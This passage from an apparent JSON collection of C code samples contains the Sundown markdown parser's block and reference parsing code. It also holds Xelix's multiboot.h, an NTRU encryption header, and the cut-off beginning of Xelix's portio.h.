inter, *flags, rndr->opaque);\n\n\trndr_popbuf(rndr, BUFFER_SPAN);\n\trndr_popbuf(rndr, BUFFER_SPAN);\n\treturn beg;\n}\n\n\n/* parse_list • parsing ordered or unordered list block */\nstatic size_t\nparse_list(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t size, int flags)\n{\n\tstruct buf *work = 0;\n\tsize_t i = 0, j;\n\n\twork = rndr_newbuf(rndr, BUFFER_BLOCK);\n\n\twhile (i < size) {\n\t\tj = parse_listitem(work, rndr, data + i, size - i, &flags);\n\t\ti += j;\n\n\t\tif (!j || (flags & MKD_LI_END))\n\t\t\tbreak;\n\t}\n\n\tif (rndr->cb.list)\n\t\trndr->cb.list(ob, work, flags, rndr->opaque);\n\trndr_popbuf(rndr, BUFFER_BLOCK);\n\treturn i;\n}\n\n/* parse_atxheader • parsing of atx-style headers */\nstatic size_t\nparse_atxheader(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t size)\n{\n\tsize_t level = 0;\n\tsize_t i, end, skip;\n\n\twhile (level < size && level < 6 && data[level] == '#')\n\t\tlevel++;\n\n\tfor (i = level; i < size && data[i] == ' '; i++);\n\n\tfor (end = i; end < size && data[end] != '\\n'; end++);\n\tskip = end;\n\n\twhile (end && data[end - 1] == '#')\n\t\tend--;\n\n\twhile (end && data[end - 1] == ' ')\n\t\tend--;\n\n\tif (end > i) {\n\t\tstruct buf *work = rndr_newbuf(rndr, BUFFER_SPAN);\n\n\t\tparse_inline(work, rndr, data + i, end - i);\n\n\t\tif (rndr->cb.header)\n\t\t\trndr->cb.header(ob, work, (int)level, rndr->opaque);\n\n\t\trndr_popbuf(rndr, BUFFER_SPAN);\n\t}\n\n\treturn skip;\n}\n\n\n/* htmlblock_end • checking end of HTML block : </tag>[ \\t]*\\n[ \\t*]\\n */\n/*\treturns the length on match, 0 otherwise */\nstatic size_t\nhtmlblock_end_tag(\n\tconst char *tag,\n\tsize_t tag_len,\n\tstruct sd_markdown *rndr,\n\tuint8_t *data,\n\tsize_t size)\n{\n\tsize_t i, w;\n\n\t/* checking if tag is a match */\n\tif (tag_len + 3 >= size ||\n\t\tstrncasecmp((char *)data + 2, tag, tag_len) != 0 ||\n\t\tdata[tag_len + 2] != '>')\n\t\treturn 0;\n\n\t/* checking white lines */\n\ti = tag_len + 3;\n\tw = 0;\n\tif (i < size && (w = is_empty(data + i, size - i)) == 0)\n\t\treturn 0; /* non-blank after tag */\n\ti += w;\n\tw = 0;\n\n\tif (i < size)\n\t\tw = is_empty(data + i, size - i);\n\n\treturn i + w;\n}\n\nstatic size_t\nhtmlblock_end(const char *curtag,\n\tstruct sd_markdown *rndr,\n\tuint8_t *data,\n\tsize_t size,\n\tint start_of_line)\n{\n\tsize_t tag_size = strlen(curtag);\n\tsize_t i = 1, end_tag;\n\tint block_lines = 0;\n\n\twhile (i < size) {\n\t\ti++;\n\t\twhile (i < size && !(data[i - 1] == '<' && data[i] == '/')) {\n\t\t\tif (data[i] == '\\n')\n\t\t\t\tblock_lines++;\n\n\t\t\ti++;\n\t\t}\n\n\t\t/* If we are only looking for unindented tags, skip the tag\n\t\t * if it doesn't follow a newline.\n\t\t *\n\t\t * The only exception to this is if the tag is still on the\n\t\t * initial line; in that case it still counts as a closing\n\t\t * tag\n\t\t */\n\t\tif (start_of_line && block_lines > 0 && data[i - 2] != '\\n')\n\t\t\tcontinue;\n\n\t\tif (i + 2 + tag_size >= size)\n\t\t\tbreak;\n\n\t\tend_tag = htmlblock_end_tag(curtag, tag_size, rndr, data + i - 1, size - i + 1);\n\t\tif (end_tag)\n\t\t\treturn i + end_tag - 1;\n\t}\n\n\treturn 0;\n}\n\n\n/* parse_htmlblock • parsing of inline HTML block */\nstatic size_t\nparse_htmlblock(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t size, int do_render)\n{\n\tsize_t i, j = 0, tag_end;\n\tconst char *curtag = NULL;\n\tstruct buf work = { data, 0, 0, 0 };\n\n\t/* identification of the opening tag */\n\tif (size < 2 || data[0] != '<')\n\t\treturn 0;\n\n\ti = 1;\n\twhile (i < size && data[i] != '>' && data[i] != ' ')\n\t\ti++;\n\n\tif (i < size)\n\t\tcurtag = find_block_tag((char *)data + 1, (int)i - 1);\n\n\t/* handling of special cases */\n\tif (!curtag) {\n\n\t\t/* HTML comment, laxist form */\n\t\tif (size > 5 && data[1] == '!' && data[2] == '-' && data[3] == '-') {\n\t\t\ti = 5;\n\n\t\t\twhile (i < size && !(data[i - 2] == '-' && data[i - 1] == '-' && data[i] == '>'))\n\t\t\t\ti++;\n\n\t\t\ti++;\n\n\t\t\tif (i < size)\n\t\t\t\tj = is_empty(data + i, size - i);\n\n\t\t\tif (j) {\n\t\t\t\twork.size = i + j;\n\t\t\t\tif (do_render && rndr->cb.blockhtml)\n\t\t\t\t\trndr->cb.blockhtml(ob, &work, rndr->opaque);\n\t\t\t\treturn work.size;\n\t\t\t}\n\t\t}\n\n\t\t/* HR, which is the only self-closing block tag considered */\n\t\tif (size > 4 && (data[1] == 'h' || data[1] == 'H') && (data[2] == 'r' || data[2] == 'R')) {\n\t\t\ti = 3;\n\t\t\twhile (i < size && data[i] != '>')\n\t\t\t\ti++;\n\n\t\t\tif (i + 1 < size) {\n\t\t\t\ti++;\n\t\t\t\tj = is_empty(data + i, size - i);\n\t\t\t\tif (j) {\n\t\t\t\t\twork.size = i + j;\n\t\t\t\t\tif (do_render && rndr->cb.blockhtml)\n\t\t\t\t\t\trndr->cb.blockhtml(ob, &work, rndr->opaque);\n\t\t\t\t\treturn work.size;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t/* no special case recognised */\n\t\treturn 0;\n\t}\n\n\t/* looking for an unindented matching closing tag */\n\t/*\tfollowed by a blank line */\n\ttag_end = htmlblock_end(curtag, rndr, data, size, 1);\n\n\t/* if not found, trying a second pass looking for indented match */\n\t/* but not if tag is \"ins\" or \"del\" (following original Markdown.pl) */\n\tif (!tag_end && strcmp(curtag, \"ins\") != 0 && strcmp(curtag, \"del\") != 0) {\n\t\ttag_end = htmlblock_end(curtag, rndr, data, size, 0);\n\t}\n\n\tif (!tag_end)\n\t\treturn 0;\n\n\t/* the end of the block has been found */\n\twork.size = tag_end;\n\tif (do_render && rndr->cb.blockhtml)\n\t\trndr->cb.blockhtml(ob, &work, rndr->opaque);\n\n\treturn tag_end;\n}\n\nstatic void\nparse_table_row(\n\tstruct buf *ob,\n\tstruct sd_markdown *rndr,\n\tuint8_t *data,\n\tsize_t size,\n\tsize_t columns,\n\tint *col_data,\n\tint header_flag)\n{\n\tsize_t i = 0, col;\n\tstruct buf *row_work = 0;\n\n\tif (!rndr->cb.table_cell || !rndr->cb.table_row)\n\t\treturn;\n\n\trow_work = rndr_newbuf(rndr, BUFFER_SPAN);\n\n\tif (i < size && data[i] == '|')\n\t\ti++;\n\n\tfor (col = 0; col < columns && i < size; ++col) {\n\t\tsize_t cell_start, cell_end;\n\t\tstruct buf *cell_work;\n\n\t\tcell_work = rndr_newbuf(rndr, BUFFER_SPAN);\n\n\t\twhile (i < size && _isspace(data[i]))\n\t\t\ti++;\n\n\t\tcell_start = i;\n\n\t\twhile (i < size && data[i] != '|')\n\t\t\ti++;\n\n\t\tcell_end = i - 1;\n\n\t\twhile (cell_end > cell_start && _isspace(data[cell_end]))\n\t\t\tcell_end--;\n\n\t\tparse_inline(cell_work, rndr, data + cell_start, 1 + cell_end - cell_start);\n\t\trndr->cb.table_cell(row_work, cell_work, col_data[col] | header_flag, rndr->opaque);\n\n\t\trndr_popbuf(rndr, BUFFER_SPAN);\n\t\ti++;\n\t}\n\n\tfor (; col < columns; ++col) {\n\t\tstruct buf empty_cell = { 0, 0, 0, 0 };\n\t\trndr->cb.table_cell(row_work, &empty_cell, col_data[col] | header_flag, rndr->opaque);\n\t}\n\n\trndr->cb.table_row(ob, row_work, rndr->opaque);\n\n\trndr_popbuf(rndr, BUFFER_SPAN);\n}\n\nstatic size_t\nparse_table_header(\n\tstruct buf *ob,\n\tstruct sd_markdown *rndr,\n\tuint8_t *data,\n\tsize_t size,\n\tsize_t *columns,\n\tint **column_data)\n{\n\tint pipes;\n\tsize_t i = 0, col, header_end, under_end;\n\n\tpipes = 0;\n\twhile (i < size && data[i] != '\\n')\n\t\tif (data[i++] == '|')\n\t\t\tpipes++;\n\n\tif (i == size || pipes == 0)\n\t\treturn 0;\n\n\theader_end = i;\n\n\twhile (header_end > 0 && _isspace(data[header_end - 1]))\n\t\theader_end--;\n\n\tif (data[0] == '|')\n\t\tpipes--;\n\n\tif (header_end && data[header_end - 1] == '|')\n\t\tpipes--;\n\n\t*columns = pipes + 1;\n\t*column_data = calloc(*columns, sizeof(int));\n\n\t/* Parse the header underline */\n\ti++;\n\tif (i < size && data[i] == '|')\n\t\ti++;\n\n\tunder_end = i;\n\twhile (under_end < size && data[under_end] != '\\n')\n\t\tunder_end++;\n\n\tfor (col = 0; col < *columns && i < under_end; ++col) {\n\t\tsize_t dashes = 0;\n\n\t\twhile (i < under_end && data[i] == ' ')\n\t\t\ti++;\n\n\t\tif (data[i] == ':') {\n\t\t\ti++; (*column_data)[col] |= MKD_TABLE_ALIGN_L;\n\t\t\tdashes++;\n\t\t}\n\n\t\twhile (i < under_end && data[i] == '-') {\n\t\t\ti++; dashes++;\n\t\t}\n\n\t\tif (i < under_end && data[i] == ':') {\n\t\t\ti++; (*column_data)[col] |= MKD_TABLE_ALIGN_R;\n\t\t\tdashes++;\n\t\t}\n\n\t\twhile (i < under_end && data[i] == ' ')\n\t\t\ti++;\n\n\t\tif (i < under_end && data[i] != '|')\n\t\t\tbreak;\n\n\t\tif (dashes < 3)\n\t\t\tbreak;\n\n\t\ti++;\n\t}\n\n\tif (col < *columns)\n\t\treturn 0;\n\n\tparse_table_row(\n\t\tob, rndr, data,\n\t\theader_end,\n\t\t*columns,\n\t\t*column_data,\n\t\tMKD_TABLE_HEADER\n\t);\n\n\treturn under_end + 1;\n}\n\nstatic size_t\nparse_table(\n\tstruct buf *ob,\n\tstruct sd_markdown *rndr,\n\tuint8_t *data,\n\tsize_t size)\n{\n\tsize_t i;\n\n\tstruct buf *header_work = 0;\n\tstruct buf *body_work = 0;\n\n\tsize_t columns;\n\tint *col_data = NULL;\n\n\theader_work = rndr_newbuf(rndr, BUFFER_SPAN);\n\tbody_work = rndr_newbuf(rndr, BUFFER_BLOCK);\n\n\ti = parse_table_header(header_work, rndr, data, size, &columns, &col_data);\n\tif (i > 0) {\n\n\t\twhile (i < size) {\n\t\t\tsize_t row_start;\n\t\t\tint pipes = 0;\n\n\t\t\trow_start = i;\n\n\t\t\twhile (i < size && data[i] != '\\n')\n\t\t\t\tif (data[i++] == '|')\n\t\t\t\t\tpipes++;\n\n\t\t\tif (pipes == 0 || i == size) {\n\t\t\t\ti = row_start;\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tparse_table_row(\n\t\t\t\tbody_work,\n\t\t\t\trndr,\n\t\t\t\tdata + row_start,\n\t\t\t\ti - row_start,\n\t\t\t\tcolumns,\n\t\t\t\tcol_data, 0\n\t\t\t);\n\n\t\t\ti++;\n\t\t}\n\n\t\tif (rndr->cb.table)\n\t\t\trndr->cb.table(ob, header_work, body_work, rndr->opaque);\n\t}\n\n\tfree(col_data);\n\trndr_popbuf(rndr, BUFFER_SPAN);\n\trndr_popbuf(rndr, BUFFER_BLOCK);\n\treturn i;\n}\n\n/* parse_block • parsing of one block, returning next uint8_t to parse */\nstatic void\nparse_block(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t size)\n{\n\tsize_t beg, end, i;\n\tuint8_t *txt_data;\n\tbeg = 0;\n\n\tif (rndr->work_bufs[BUFFER_SPAN].size +\n\t\trndr->work_bufs[BUFFER_BLOCK].size > rndr->max_nesting)\n\t\treturn;\n\n\twhile (beg < size) {\n\t\ttxt_data = data + beg;\n\t\tend = size - beg;\n\n\t\tif (is_atxheader(rndr, txt_data, end))\n\t\t\tbeg += parse_atxheader(ob, rndr, txt_data, end);\n\n\t\telse if (data[beg] == '<' && rndr->cb.blockhtml &&\n\t\t\t\t(i = parse_htmlblock(ob, rndr, txt_data, end, 1)) != 0)\n\t\t\tbeg += i;\n\n\t\telse if ((i = is_empty(txt_data, end)) != 0)\n\t\t\tbeg += i;\n\n\t\telse if (is_hrule(txt_data, end)) {\n\t\t\tif (rndr->cb.hrule)\n\t\t\t\trndr->cb.hrule(ob, rndr->opaque);\n\n\t\t\twhile (beg < size && data[beg] != '\\n')\n\t\t\t\tbeg++;\n\n\t\t\tbeg++;\n\t\t}\n\n\t\telse if ((rndr->ext_flags & MKDEXT_FENCED_CODE) != 0 &&\n\t\t\t(i = parse_fencedcode(ob, rndr, txt_data, end)) != 0)\n\t\t\tbeg += i;\n\n\t\telse if ((rndr->ext_flags & MKDEXT_TABLES) != 0 &&\n\t\t\t(i = parse_table(ob, rndr, txt_data, end)) != 0)\n\t\t\tbeg += i;\n\n\t\telse if (prefix_quote(txt_data, end))\n\t\t\tbeg += parse_blockquote(ob, rndr, txt_data, end);\n\n\t\telse if (prefix_code(txt_data, end))\n\t\t\tbeg += parse_blockcode(ob, rndr, txt_data, end);\n\n\t\telse if (prefix_uli(txt_data, end))\n\t\t\tbeg += parse_list(ob, rndr, txt_data, end, 0);\n\n\t\telse if (prefix_oli(txt_data, end))\n\t\t\tbeg += parse_list(ob, rndr, txt_data, end, MKD_LIST_ORDERED);\n\n\t\telse\n\t\t\tbeg += parse_paragraph(ob, rndr, txt_data, end);\n\t}\n}\n\n\n\n/*********************\n * REFERENCE PARSING *\n *********************/\n\n/* is_ref • returns whether a line is a reference or not */\nstatic int\nis_ref(const uint8_t *data, size_t beg, size_t end, size_t *last, struct link_ref **refs)\n{\n/*\tint n; */\n\tsize_t i = 0;\n\tsize_t id_offset, id_end;\n\tsize_t link_offset, link_end;\n\tsize_t title_offset, title_end;\n\tsize_t line_end;\n\n\t/* up to 3 optional leading spaces */\n\tif (beg + 3 >= end) return 0;\n\tif (data[beg] == ' ') { i = 1;\n\tif (data[beg + 1] == ' ') { i = 2;\n\tif (data[beg + 2] == ' ') { i = 3;\n\tif (data[beg + 3] == ' ') return 0; } } }\n\ti += beg;\n\n\t/* id part: anything but a newline between brackets */\n\tif (data[i] != '[') return 0;\n\ti++;\n\tid_offset = i;\n\twhile (i < end && data[i] != '\\n' && data[i] != '\\r' && data[i] != ']')\n\t\ti++;\n\tif (i >= end || data[i] != ']') return 0;\n\tid_end = i;\n\n\t/* spacer: colon (space | tab)* newline? (space | tab)* */\n\ti++;\n\tif (i >= end || data[i] != ':') return 0;\n\ti++;\n\twhile (i < end && data[i] == ' ') i++;\n\tif (i < end && (data[i] == '\\n' || data[i] == '\\r')) {\n\t\ti++;\n\t\tif (i < end && data[i] == '\\r' && data[i - 1] == '\\n') i++; }\n\twhile (i < end && data[i] == ' ') i++;\n\tif (i >= end) return 0;\n\n\t/* link: whitespace-free sequence, optionally between angle brackets */\n\tif (data[i] == '<')\n\t\ti++;\n\n\tlink_offset = i;\n\n\twhile (i < end && data[i] != ' ' && data[i] != '\\n' && data[i] != '\\r')\n\t\ti++;\n\n\tif (data[i - 1] == '>') link_end = i - 1;\n\telse link_end = i;\n\n\t/* optional spacer: (space | tab)* (newline | '\\'' | '\"' | '(' ) */\n\twhile (i < end && data[i] == ' ') i++;\n\tif (i < end && data[i] != '\\n' && data[i] != '\\r'\n\t\t\t&& data[i] != '\\'' && data[i] != '\"' && data[i] != '(')\n\t\treturn 0;\n\tline_end = 0;\n\t/* computing end-of-line */\n\tif (i >= end || data[i] == '\\r' || data[i] == '\\n') line_end = i;\n\tif (i + 1 < end && data[i] == '\\n' && data[i + 1] == '\\r')\n\t\tline_end = i + 1;\n\n\t/* optional (space|tab)* spacer after a newline */\n\tif (line_end) {\n\t\ti = line_end + 1;\n\t\twhile (i < end && data[i] == ' ') i++; }\n\n\t/* optional title: any non-newline sequence enclosed in '\"()\n\t\t\t\t\talone on its line */\n\ttitle_offset = title_end = 0;\n\tif (i + 1 < end\n\t&& (data[i] == '\\'' || data[i] == '\"' || data[i] == '(')) {\n\t\ti++;\n\t\ttitle_offset = i;\n\t\t/* looking for EOL */\n\t\twhile (i < end && data[i] != '\\n' && data[i] != '\\r') i++;\n\t\tif (i + 1 < end && data[i] == '\\n' && data[i + 1] == '\\r')\n\t\t\ttitle_end = i + 1;\n\t\telse\ttitle_end = i;\n\t\t/* stepping back */\n\t\ti -= 1;\n\t\twhile (i > title_offset && data[i] == ' ')\n\t\t\ti -= 1;\n\t\tif (i > title_offset\n\t\t&& (data[i] == '\\'' || data[i] == '\"' || data[i] == ')')) {\n\t\t\tline_end = title_end;\n\t\t\ttitle_end = i; } }\n\n\tif (!line_end || link_end == link_offset)\n\t\treturn 0; /* garbage after the link empty link */\n\n\t/* a valid ref has been found, filling-in return structures */\n\tif (last)\n\t\t*last = line_end;\n\n\tif (refs) {\n\t\tstruct link_ref *ref;\n\n\t\tref = add_link_ref(refs, data + id_offset, id_end - id_offset);\n\t\tif (!ref)\n\t\t\treturn 0;\n\n\t\tref->link = bufnew(link_end - link_offset);\n\t\tbufput(ref->link, data + link_offset, link_end - link_offset);\n\n\t\tif (title_end > title_offset) {\n\t\t\tref->title = bufnew(title_end - title_offset);\n\t\t\tbufput(ref->title, data + title_offset, title_end - title_offset);\n\t\t}\n\t}\n\n\treturn 1;\n}\n\nstatic void expand_tabs(struct buf *ob, const uint8_t *line, size_t size)\n{\n\tsize_t  i = 0, tab = 0;\n\n\twhile (i < size) {\n\t\tsize_t org = i;\n\n\t\twhile (i < size && line[i] != '\\t') {\n\t\t\ti++; tab++;\n\t\t}\n\n\t\tif (i > org)\n\t\t\tbufput(ob, line + org, i - org);\n\n\t\tif (i >= size)\n\t\t\tbreak;\n\n\t\tdo {\n\t\t\tbufputc(ob, ' '); tab++;\n\t\t} while (tab % 4);\n\n\t\ti++;\n\t}\n}\n\n/**********************\n * EXPORTED FUNCTIONS *\n **********************/\n\nstruct sd_markdown *\nsd_markdown_new(\n\tunsigned int extensions,\n\tsize_t max_nesting,\n\tconst struct sd_callbacks *callbacks,\n\tvoid *opaque)\n{\n\tstruct sd_markdown *md = NULL;\n\n\tassert(max_nesting > 0 && callbacks);\n\n\tmd = malloc(sizeof(struct sd_markdown));\n\tif (!md)\n\t\treturn NULL;\n\n\tmemcpy(&md->cb, callbacks, sizeof(struct sd_callbacks));\n\n\tstack_init(&md->work_bufs[BUFFER_BLOCK], 4);\n\tstack_init(&md->work_bufs[BUFFER_SPAN], 8);\n\n\tmemset(md->active_char, 0x0, 256);\n\n\tif (md->cb.emphasis || md->cb.double_emphasis || md->cb.triple_emphasis) {\n\t\tmd->active_char['*'] = MD_CHAR_EMPHASIS;\n\t\tmd->active_char['_'] = MD_CHAR_EMPHASIS;\n\t\tif (extensions & MKDEXT_STRIKETHROUGH)\n\t\t\tmd->active_char['~'] = MD_CHAR_EMPHASIS;\n\t}\n\n\tif (md->cb.codespan)\n\t\tmd->active_char['`'] = MD_CHAR_CODESPAN;\n\n\tif (md->cb.linebreak)\n\t\tmd->active_char['\\n'] = MD_CHAR_LINEBREAK;\n\n\tif (md->cb.image || md->cb.link)\n\t\tmd->active_char['['] = MD_CHAR_LINK;\n\n\tmd->active_char['<'] = MD_CHAR_LANGLE;\n\tmd->active_char['\\\\'] = MD_CHAR_ESCAPE;\n\tmd->active_char['&'] = MD_CHAR_ENTITITY;\n\n\tif (extensions & MKDEXT_AUTOLINK) {\n\t\tmd->active_char[':'] = MD_CHAR_AUTOLINK_URL;\n\t\tmd->active_char['@'] = MD_CHAR_AUTOLINK_EMAIL;\n\t\tmd->active_char['w'] = MD_CHAR_AUTOLINK_WWW;\n\t}\n\n\tif (extensions & MKDEXT_SUPERSCRIPT)\n\t\tmd->active_char['^'] = MD_CHAR_SUPERSCRIPT;\n\n\t/* Extension data */\n\tmd->ext_flags = extensions;\n\tmd->opaque = opaque;\n\tmd->max_nesting = max_nesting;\n\tmd->in_link_body = 0;\n\n\treturn md;\n}\n\nvoid\nsd_markdown_render(struct buf *ob, const uint8_t *document, size_t doc_size, struct sd_markdown *md)\n{\n#define MARKDOWN_GROW(x) ((x) + ((x) >> 1))\n\tstatic const char UTF8_BOM[] = {0xEF, 0xBB, 0xBF};\n\n\tstruct buf *text;\n\tsize_t beg, end;\n\n\ttext = bufnew(64);\n\tif (!text)\n\t\treturn;\n\n\t/* Preallocate enough space for our buffer to avoid expanding while copying */\n\tbufgrow(text, doc_size);\n\n\t/* reset the references table */\n\tmemset(&md->refs, 0x0, REF_TABLE_SIZE * sizeof(void *));\n\n\t/* first pass: looking for references, copying everything else */\n\tbeg = 0;\n\n\t/* Skip a possible UTF-8 BOM, even though the Unicode standard\n\t * discourages having these in UTF-8 documents */\n\tif (doc_size >= 3 && memcmp(document, UTF8_BOM, 3) == 0)\n\t\tbeg += 3;\n\n\twhile (beg < doc_size) /* iterating over lines */\n\t\tif (is_ref(document, beg, doc_size, &end, md->refs))\n\t\t\tbeg = end;\n\t\telse { /* skipping to the next line */\n\t\t\tend = beg;\n\t\t\twhile (end < doc_size && document[end] != '\\n' && document[end] != '\\r')\n\t\t\t\tend++;\n\n\t\t\t/* adding the line body if present */\n\t\t\tif (end > beg)\n\t\t\t\texpand_tabs(text, document + beg, end - beg);\n\n\t\t\twhile (end < doc_size && (document[end] == '\\n' || document[end] == '\\r')) {\n\t\t\t\t/* add one \\n per newline */\n\t\t\t\tif (document[end] == '\\n' || (end + 1 < doc_size && document[end + 1] != '\\n'))\n\t\t\t\t\tbufputc(text, '\\n');\n\t\t\t\tend++;\n\t\t\t}\n\n\t\t\tbeg = end;\n\t\t}\n\n\t/* pre-grow the output buffer to minimize allocations */\n\tbufgrow(ob, MARKDOWN_GROW(text->size));\n\n\t/* second pass: actual rendering */\n\tif (md->cb.doc_header)\n\t\tmd->cb.doc_header(ob, md->opaque);\n\n\tif (text->size) {\n\t\t/* adding a final newline if not already present */\n\t\tif (text->data[text->size - 1] != '\\n' &&  text->data[text->size - 1] != '\\r')\n\t\t\tbufputc(text, '\\n');\n\n\t\tparse_block(ob, md, text->data, text->size);\n\t}\n\n\tif (md->cb.doc_footer)\n\t\tmd->cb.doc_footer(ob, md->opaque);\n\n\t/* clean-up */\n\tbufrelease(text);\n\tfree_link_refs(md->refs);\n\n\tassert(md->work_bufs[BUFFER_SPAN].size == 0);\n\tassert(md->work_bufs[BUFFER_BLOCK].size == 0);\n}\n\nvoid\nsd_markdown_free(struct sd_markdown *md)\n{\n\tsize_t i;\n\n\tfor (i = 0; i < (size_t)md->work_bufs[BUFFER_SPAN].asize; ++i)\n\t\tbufrelease(md->work_bufs[BUFFER_SPAN].item[i]);\n\n\tfor (i = 0; i < (size_t)md->work_bufs[BUFFER_BLOCK].asize; ++i)\n\t\tbufrelease(md->work_bufs[BUFFER_BLOCK].item[i]);\n\n\tstack_free(&md->work_bufs[BUFFER_SPAN]);\n\tstack_free(&md->work_bufs[BUFFER_BLOCK]);\n\n\tfree(md);\n}\n\nvoid\nsd_version(int *ver_major, int *ver_minor, int *ver_revision)\n{\n\t*ver_major = SUNDOWN_VER_MAJOR;\n\t*ver_minor = SUNDOWN_VER_MINOR;\n\t*ver_revision = SUNDOWN_VER_REVISION;\n}\n\n/* vim: set filetype=c: */\n"
  },
  {
    "path": "samples/C/multiboot.h",
    "content": "#pragma once\n\n/* Copyright © 2010, 2011 Lukas Martini\n *\n * This file is part of Xelix.\n *\n * Xelix is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Xelix is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Xelix.  If not, see <http://www.gnu.org/licenses/>.\n */\n\n#include <lib/generic.h>\n\n#define MULTIBOOT_KERNELMAGIC 0x2BADB002\n\n#define MULTIBOOT_FLAG_MEM\t 0x001\n#define MULTIBOOT_FLAG_DEVICE  0x002\n#define MULTIBOOT_FLAG_CMDLINE 0x004\n#define MULTIBOOT_FLAG_MODS\t0x008\n#define MULTIBOOT_FLAG_AOUT\t0x010\n#define MULTIBOOT_FLAG_ELF\t 0x020\n#define MULTIBOOT_FLAG_MMAP\t0x040\n#define MULTIBOOT_FLAG_CONFIG  0x080\n#define MULTIBOOT_FLAG_LOADER  0x100\n#define MULTIBOOT_FLAG_APM\t 0x200\n#define MULTIBOOT_FLAG_VBE\t 0x400\n\n// The symbol table for a.out.\ntypedef struct\n{\n\tuint32_t\t tabSize;\n\tuint32_t \tstrSize;\n\tuint32_t \taddr;\n\tuint32_t \treserved;\n} __attribute__((packed)) multiboot_aoutSymbolTable_t;\n     \n// The section header table for ELF.\ntypedef struct\n{\n\tuint32_t\t num;\n\tuint32_t\t size;\n\tuint32_t \taddr;\n\tuint32_t\t shndx;\n} __attribute__((packed)) multiboot_elfSectionHeaderTable_t;\n\ntypedef struct\n{\n\tuint32_t\tsize;\n\tuint64_t\taddr;\n\tuint64_t\tlength;\n\tuint32_t\ttype;\n} __attribute__((packed)) multiboot_memoryMap_t;\n\ntypedef struct\n{\n\tuint32_t\tstart;\n\tuint32_t\tend;\n\tchar*\t\tcmdLine;\n\tuint32_t\treserved;\n} __attribute__((packed)) multiboot_module_t;\n\ntypedef struct\n{\n\tuint32_t\tflags;\n\tuint32_t\tmemLower;\n\tuint32_t\tmemUpper;\n\tuint32_t\tbootDevice;\n\tchar*\tcmdLine;\n\tuint32_t\tmodsCount;\n\tmultiboot_module_t*\tmodsAddr;\n\n\tunion\n\t{\n\t\tmultiboot_aoutSymbolTable_t aoutSym;\n\t\tmultiboot_elfSectionHeaderTable_t elfSec;\n\t} u;\n\t\n\tuint32_t\tmmapLength;\n\tuint32_t\tmmapAddr;\n\t\n\tuint32_t drivesLength;\n\tuint32_t drivesAddr;\n\t\n\t// ROM configuration table\n\tuint32_t configTable;\n\t\n\tchar* bootLoaderName;\n\tuint32_t apmTable;\n\t\n\t// Video\n\tuint32_t vbeControlInfo;\n\tuint32_t vbeModeInfo;\n\tuint16_t vbeMode;\n\tuint16_t vbeInterfaceSeg;\n\tuint16_t vbeInterfaceOff;\n\tuint16_t vbeInterfaceLen;\n} __attribute__((packed)) multiboot_info_t;\n\nmultiboot_info_t* multiboot_info;\n\nvoid arch_multiboot_printInfo();\n"
  },
  {
    "path": "samples/C/ntru_encrypt.h",
    "content": "/*\n * Copyright (C) 2014 FH Bielefeld\n *\n * This file is part of a FH Bielefeld project.\n *\n * This library is free software; you can redistribute it and/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n * MA  02110-1301  USA\n */\n\n/**\n * @file ntru_encrypt.h\n * Header for the internal API of ntru_encrypt.c.\n * @brief header for encrypt.c\n */\n\n#ifndef PQC_ENCRYPT_H\n#define PQC_ENCRYPT_H\n\n\n#include \"ntru_params.h\"\n#include \"ntru_poly.h\"\n#include \"ntru_string.h\"\n\n#include <fmpz_poly.h>\n#include <fmpz.h>\n\n\n/**\n * encrypt the msg, using the math:\n * e = (h ∗ r) + m (mod q)\n *\n * e = the encrypted poly\n *\n * h = the public key\n *\n * r = the random poly\n *\n * m = the message poly\n *\n * q = large mod\n *\n * @param msg_tern the message to encrypt, in ternary format\n * @param pub_key the public key\n * @param rnd the random poly (should have relatively small\n * coefficients, but not restricted to {-1, 0, 1})\n * @param out the output poly which is in the range {0, q-1}\n * (not ternary!) [out]\n * @param params ntru_params the ntru context\n */\nvoid\nntru_encrypt_poly(\n\t\tconst fmpz_poly_t msg_tern,\n\t\tconst fmpz_poly_t pub_key,\n\t\tconst fmpz_poly_t rnd,\n\t\tfmpz_poly_t out,\n\t\tconst ntru_params *params);\n\n/**\n * Encrypt a message in the form of a null-terminated char array and\n * return a string.\n *\n * @param msg the message\n * @param pub_key the public key\n * @param rnd the random poly (should have relatively small\n * coefficients, but not restricted to {-1, 0, 1})\n * @param params ntru_params the ntru context\n * @return the newly allocated encrypted string\n */\nstring *\nntru_encrypt_string(\n\t\tconst string *msg,\n\t\tconst fmpz_poly_t pub_key,\n\t\tconst fmpz_poly_t rnd,\n\t\tconst ntru_params *params);\n\n\n#endif /* PQC_ENCRYPT_H */\n"
  },
  {
    "path": "samples/C/portio.h",
    "content": "#pragma once\n\n/* Copyright © 2011 Lukas Martini\n *\n * This file is part of Xelix.\n *\n * Xelix is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Xelix is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Xelix. If not, see <http://www.gnu.org/licenses/>.\n */\n\n#include <lib/generic.h>\n#include <lib/stdint.h>\n\n// Legacy\n#define outb(args...) portio_out8(args)\n#define outw(args...) portio_out16(args)\n#define outl(args...) portio_out32(args)\n#define 